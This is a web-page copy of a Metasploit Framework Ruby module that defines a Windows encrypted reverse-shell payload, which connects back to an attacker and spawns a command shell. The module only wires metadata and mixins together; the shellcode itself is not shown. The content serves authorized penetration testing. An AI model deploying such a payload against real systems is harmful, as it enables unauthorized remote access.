Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/encrypted_shell_reverse_tcp.rb
21540 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 4416
8
9
include Msf::Payload::Windows
10
include Msf::Payload::Single
11
include Msf::Sessions::CommandShellOptions
12
include Msf::Payload::Windows::EncryptedReverseTcp
13
include Msf::Payload::Windows::EncryptedPayloadOpts
14
15
def initialize(info = {})
16
super(
17
merge_info(
18
info,
19
'Name' => 'Windows Encrypted Reverse Shell',
20
'Description' => 'Connect back to attacker and spawn an encrypted command shell',
21
'Author' => [
22
'Matt Graeber',
23
'Shelby Pace'
24
],
25
'License' => MSF_LICENSE,
26
'Platform' => 'win',
27
'Arch' => ARCH_X86,
28
'Handler' => Msf::Handler::ReverseTcp,
29
'Session' => Msf::Sessions::EncryptedShell,
30
'DefaultOptions' => { 'LinkerScript' => "#{LINK_SCRIPT_PATH}/func_order.ld" },
31
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ]
32
)
33
)
34
end
35
end
36
37